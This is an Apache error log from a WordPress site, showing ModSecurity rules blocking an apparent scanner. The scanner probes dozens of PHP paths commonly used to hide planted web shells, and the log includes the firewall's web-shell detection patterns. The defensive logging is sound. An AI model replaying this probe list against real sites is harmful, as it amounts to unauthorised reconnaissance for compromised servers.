[Fri Jan 09 00:57:26.461101 2026] [:error] [pid 2424:tid 2429] [client 20.196.88.31:7076] [client 20.196.88.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aV_h9rTDJR8aofkBk9RjDgAAAQM"]
[Fri Jan 09 00:57:35.404030 2026] [autoindex:error] [pid 15358:tid 15390] [client 20.196.88.31:10903] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 09 00:57:35.538674 2026] [:error] [pid 15265:tid 15337] [client 20.196.88.31:11000] [client 20.196.88.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aV_h_6E6VBKhew2LTFR4xwAAAIs"]
[Fri Jan 09 00:57:46.250210 2026] [:error] [pid 15264:tid 15302] [client 20.196.88.31:7097] [client 20.196.88.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aV_iCoov6_kvS0Owh-o53AAAAEM"]
[Fri Jan 09 00:57:57.329775 2026] [:error] [pid 2484:tid 2501] [client 20.196.88.31:7072] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aV_iFTiDlnlaQQK_AEPSjAAAAU0"]
[Fri Jan 09 00:57:58.062322 2026] [:error] [pid 7586:tid 7593] [client 20.196.88.31:7090] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aV_iFsJyk37GdXP5TmWY1QAAAcU"]
[Fri Jan 09 00:57:58.466101 2026] [:error] [pid 17404:tid 17419] [client 20.196.88.31:7091] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aV_iFmVd_oH193N6AnXsGwAAAY0"]
[Fri Jan 09 00:57:58.961272 2026] [:error] [pid 2484:tid 2488] [client 20.196.88.31:7155] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aV_iFjiDlnlaQQK_AEPSjQAAAUI"]
[Fri Jan 09 00:57:59.371431 2026] [:error] [pid 7586:tid 7604] [client 20.196.88.31:10884] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aV_iF8Jyk37GdXP5TmWY1wAAAc4"]
[Fri Jan 09 00:57:59.815815 2026] [:error] [pid 2484:tid 2497] [client 20.196.88.31:10923] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aV_iFziDlnlaQQK_AEPSjwAAAUo"]
[Fri Jan 09 00:58:00.226115 2026] [:error] [pid 15264:tid 15315] [client 20.196.88.31:7061] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aV_iGIov6_kvS0Owh-o55wAAAFA"]
[Fri Jan 09 00:58:00.580788 2026] [:error] [pid 2484:tid 2489] [client 20.196.88.31:7087] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aV_iGDiDlnlaQQK_AEPSkAAAAUM"]
[Fri Jan 09 00:58:01.134708 2026] [:error] [pid 2424:tid 2437] [client 20.196.88.31:6977] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aV_iGbTDJR8aofkBk9RjLQAAAQs"]
[Fri Jan 09 00:58:01.731734 2026] [:error] [pid 15263:tid 15282] [client 20.196.88.31:10980] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aV_iGdv61bxum7WG_e8unQAAAAo"]
[Fri Jan 09 00:58:02.091819 2026] [:error] [pid 15265:tid 15347] [client 20.196.88.31:7012] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aV_iGqE6VBKhew2LTFR44wAAAJU"]
[Fri Jan 09 00:58:02.566171 2026] [:error] [pid 7586:tid 7603] [client 20.196.88.31:7126] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aV_iGsJyk37GdXP5TmWY2QAAAc0"]
[Fri Jan 09 00:58:03.110312 2026] [:error] [pid 2424:tid 2431] [client 20.196.88.31:7084] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aV_iG7TDJR8aofkBk9RjNQAAAQU"]
[Fri Jan 09 00:58:03.606768 2026] [:error] [pid 7586:tid 7606] [client 20.196.88.31:7074] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aV_iG8Jyk37GdXP5TmWY3AAAAdA"]
[Fri Jan 09 00:58:04.214643 2026] [:error] [pid 7586:tid 7599] [client 20.196.88.31:7007] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aV_iHMJyk37GdXP5TmWY3QAAAcs"]
[Fri Jan 09 00:58:04.668760 2026] [:error] [pid 15265:tid 15330] [client 20.196.88.31:6988] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aV_iHKE6VBKhew2LTFR45QAAAIQ"]
[Fri Jan 09 00:58:05.126780 2026] [:error] [pid 2484:tid 2503] [client 20.196.88.31:7125] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aV_iHTiDlnlaQQK_AEPSlAAAAU8"]
[Fri Jan 09 00:58:05.870878 2026] [:error] [pid 15263:tid 15294] [client 20.196.88.31:10954] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aV_iHdv61bxum7WG_e8uoQAAABY"]
[Fri Jan 09 00:58:06.339774 2026] [:error] [pid 17404:tid 17427] [client 20.196.88.31:7113] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aV_iHmVd_oH193N6AnXsMwAAAZU"]
[Fri Jan 09 00:58:06.915463 2026] [:error] [pid 15265:tid 15332] [client 20.196.88.31:7154] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aV_iHqE6VBKhew2LTFR46QAAAIY"]
[Fri Jan 09 00:58:07.556116 2026] [:error] [pid 15265:tid 15336] [client 20.196.88.31:7120] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aV_iH6E6VBKhew2LTFR46wAAAIo"]
[Fri Jan 09 00:58:07.987174 2026] [:error] [pid 2484:tid 2506] [client 20.196.88.31:6976] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aV_iHziDlnlaQQK_AEPSmQAAAVI"]
[Fri Jan 09 00:58:08.524781 2026] [:error] [pid 15358:tid 15392] [client 20.196.88.31:7114] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aV_iICoRk9xWJ3toSBKw9QAAANY"]
[Fri Jan 09 00:58:08.947864 2026] [:error] [pid 15264:tid 15312] [client 20.196.88.31:7064] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aV_iIIov6_kvS0Owh-o56wAAAE0"]
[Fri Jan 09 00:58:09.728658 2026] [:error] [pid 15358:tid 15374] [client 20.196.88.31:7063] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aV_iISoRk9xWJ3toSBKw_QAAAMQ"]
[Fri Jan 09 00:58:10.546853 2026] [:error] [pid 15265:tid 15331] [client 20.196.88.31:7119] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aV_iIqE6VBKhew2LTFR47gAAAIU"]
[Fri Jan 09 00:58:11.407313 2026] [:error] [pid 2484:tid 2510] [client 20.196.88.31:7080] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aV_iIziDlnlaQQK_AEPSnwAAAVY"]
[Fri Jan 09 00:58:12.012864 2026] [:error] [pid 15358:tid 15377] [client 20.196.88.31:7100] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aV_iJCoRk9xWJ3toSBKw_wAAAMc"]
[Fri Jan 09 00:58:12.402094 2026] [:error] [pid 2424:tid 2430] [client 20.196.88.31:7027] [client 20.196.88.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aV_iJLTDJR8aofkBk9RjRQAAAQQ"]
[Fri Jan 09 00:58:12.935634 2026] [:error] [pid 2424:tid 2432] [client 20.196.88.31:10910] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV_iJLTDJR8aofkBk9RjRwAAAQY"]
[Fri Jan 09 00:58:13.375524 2026] [:error] [pid 15265:tid 15339] [client 20.196.88.31:10880] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV_iJaE6VBKhew2LTFR48wAAAI0"]
[Fri Jan 09 00:58:13.844870 2026] [:error] [pid 2484:tid 2494] [client 20.196.88.31:6723] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV_iJTiDlnlaQQK_AEPSowAAAUc"]
[Fri Jan 09 00:58:14.161333 2026] [:error] [pid 15264:tid 15319] [client 20.196.88.31:7085] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aV_iJoov6_kvS0Owh-o57AAAAFQ"]
[Fri Jan 09 00:58:14.570415 2026] [:error] [pid 15265:tid 15329] [client 20.196.88.31:7060] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV_iJqE6VBKhew2LTFR49gAAAIM"]
[Fri Jan 09 00:58:15.104284 2026] [:error] [pid 2424:tid 2448] [client 20.196.88.31:7014] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV_iJ7TDJR8aofkBk9RjSgAAARY"]
[Fri Jan 09 00:58:15.537806 2026] [:error] [pid 2424:tid 2445] [client 20.196.88.31:7068] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV_iJ7TDJR8aofkBk9RjTQAAARM"]
[Fri Jan 09 00:58:15.881713 2026] [:error] [pid 2484:tid 2498] [client 20.196.88.31:7043] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV_iJziDlnlaQQK_AEPSqAAAAUs"]
[Fri Jan 09 00:58:16.184528 2026] [:error] [pid 15265:tid 15333] [client 20.196.88.31:7161] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aV_iKKE6VBKhew2LTFR4-AAAAIc"]
[Fri Jan 09 00:58:16.725192 2026] [:error] [pid 15358:tid 15393] [client 20.196.88.31:10966] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aV_iKCoRk9xWJ3toSBKxAwAAANc"]
[Fri Jan 09 00:58:17.215406 2026] [:error] [pid 15263:tid 15287] [client 20.196.88.31:7096] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aV_iKdv61bxum7WG_e8uogAAAA8"]
[Fri Jan 09 00:58:17.713266 2026] [:error] [pid 2424:tid 2429] [client 20.196.88.31:7078] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aV_iKbTDJR8aofkBk9RjWgAAAQM"]
[Fri Jan 09 00:58:18.127925 2026] [:error] [pid 17404:tid 17423] [client 20.196.88.31:7098] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV_iKmVd_oH193N6AnXsPAAAAZE"]
[Fri Jan 09 00:58:18.596945 2026] [:error] [pid 15358:tid 15387] [client 20.196.88.31:10935] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV_iKioRk9xWJ3toSBKxBgAAANE"]
[Fri Jan 09 00:58:18.987304 2026] [:error] [pid 2484:tid 2502] [client 20.196.88.31:7089] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV_iKjiDlnlaQQK_AEPSrgAAAU4"]
[Fri Jan 09 00:58:19.531306 2026] [:error] [pid 7586:tid 7594] [client 20.196.88.31:10981] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aV_iK8Jyk37GdXP5TmWY7QAAAcY"]
[Fri Jan 09 00:58:19.913728 2026] [:error] [pid 17404:tid 17427] [client 20.196.88.31:7147] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aV_iK2Vd_oH193N6AnXsPwAAAZU"]
[Fri Jan 09 00:58:20.234719 2026] [:error] [pid 2424:tid 2444] [client 20.196.88.31:6986] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aV_iLLTDJR8aofkBk9RjYwAAARI"]
[Fri Jan 09 00:58:20.798162 2026] [:error] [pid 2424:tid 2434] [client 20.196.88.31:10998] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aV_iLLTDJR8aofkBk9RjZwAAAQg"]
[Fri Jan 09 00:58:21.152115 2026] [:error] [pid 15263:tid 15280] [client 20.196.88.31:6979] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aV_iLdv61bxum7WG_e8uqQAAAAg"]
[Fri Jan 09 00:58:21.562888 2026] [:error] [pid 2424:tid 2445] [client 20.196.88.31:10916] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV_iLbTDJR8aofkBk9RjbAAAARM"]
[Fri Jan 09 00:58:21.925751 2026] [:error] [pid 15263:tid 15296] [client 20.196.88.31:6991] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aV_iLdv61bxum7WG_e8uqgAAABg"]
